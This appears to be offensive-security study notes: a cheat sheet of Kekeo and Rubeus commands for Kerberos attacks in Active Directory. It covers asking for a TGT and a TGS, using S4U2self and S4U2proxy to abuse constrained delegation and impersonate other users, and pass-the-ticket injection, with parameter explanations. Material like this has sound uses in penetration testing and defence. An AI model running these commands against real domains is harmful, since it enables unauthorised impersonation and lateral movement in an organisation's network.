For each of the following sections, I aim to provide the equivalent commands in Kekeo and Rubeus (some of the sections may only have examples in one tool).

1. Request for Ticket Granting Ticket (TGT)

kekeo # tgt::ask /user:<user> /domain:<domain> /password:<password>
C:\> rubeus.exe asktgt /user:<user> /password:<password>

• For rubeus, if /password is used instead of a hash, /enctype:X will default to RC4 for the exchange, with des|aes128|aes256 as options

2. Request for Ticket Granting Service (TGS)

C:\> rubeus.exe asktgs /ticket:<ticket> /service:<servicename>

3. Constrained delegation abuse: Service for User (S4U)

kekeo # tgs::s4u /tgt:<path_to_TGT> /user:<username> /service:<servicename>

The kekeo command listed above essentially performs the S4U2self and S4U2proxy steps that can be achieved with rubeus (refer below).

From the Rubeus S4U documentation page link above, we can find a few examples:

a. S4U2self

C:\> rubeus.exe s4u /user:<username> /rc4:<rc4_hash> /impersonateuser:<user_to_impersonate>

• /rc4: rc4 hash of the user associated with /user

  • The TGT for an account with a msds-allowedtodelegateto permission can be used instead (/ticket:X)

• /impersonateuser : compulsory parameter to specify the user we plan to obtain a service ticket on behalf for

From this command, we will obtain the following:

1. A TGT for the user specified in /user

2. A TGS for the user specified in /impersonateuser

• Using the S4U2self extension: the service account can use the TGS obtained to authenticate to itself (or more specifically, the service it is running) on behalf of the user specified in /impersonateuser

b. S4U2proxy

C:\> rubeus.exe s4u /ticket:<TGT> /msdsspn:<SPN> /tgs:<TGS>

• /ticket : TGT obtained from the previous step

• /mdsspn : Service Principal Name (SPN)

  • This value must be listed under the msds-allowedtodelegateto property for the service account (supplied to the /user field in the previous step)

• /tgs : The forwardable ticket retrieved from the previous step (S4U2self ticket for the user specified in /impersonateuser)

From this command, we obtain a TGS for the impersonated user (specified in /impersonateuser) to the service defined in /msdsspn.

Next, we can use the TGS we have obtained to authenticate to the service (defined in /mdsspn) as our desired user:

C:\> rubeus.exe ptt /ticket:TGS

or by supplying the /ptt flag to the s4u command.

C. Combining all steps: TGT request, S4U2self process, S4U2proxy execution and pass-the-ticket (injection of the final ticket)

C:\> rubeus.exe s4u /user:<username> /rc4:<rc4_hash> /impersonateuser:<user_to_impersonate> /msdsspn:<SPN> /ptt
